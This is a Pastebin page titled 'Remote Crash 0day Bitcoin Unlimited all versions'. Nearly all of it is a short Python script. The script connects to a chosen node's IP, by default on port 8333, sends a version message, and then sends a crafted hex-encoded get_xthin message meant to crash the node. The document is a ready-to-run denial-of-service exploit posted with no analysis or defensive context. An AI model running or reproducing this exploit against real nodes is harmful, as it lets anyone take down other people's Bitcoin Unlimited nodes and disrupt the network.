Aerow0rm

Remote Crash 0day Bitcoin Unlimited all versions

Mar 17th, 2017
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.07 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import binascii
  3. import socket
  4. import time
  5. import sys
  6. import argparse
  7.  
  8. BUFFER_SIZE = 1024
  9. VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
  10. GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
  11.  
  12. if len(sys.argv) > 2:
  13.     TCP_PORT = int(sys.argv[2])
  14.     TCP_IP = sys.argv[1]
  15. elif len(sys.argv) > 1:
  16.     TCP_PORT = 8333
  17.     TCP_IP = sys.argv[1]
  18. else:
  19.     print "Usage: %s ip [port]" % sys.argv[0]
  20.     exit(1)
  21.  
  22. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  23. s.connect((TCP_IP, TCP_PORT))
  24. s.send(VERSION)
  25.  
  26. data = s.recv(BUFFER_SIZE)
  27. time.sleep(1)
  28.  
  29. s.send(GET_XTHIN)
  30. time.sleep(1)
  31. s.close()
  32.  
  33. print "received data:", data
Add Comment
Please, Sign In to add comment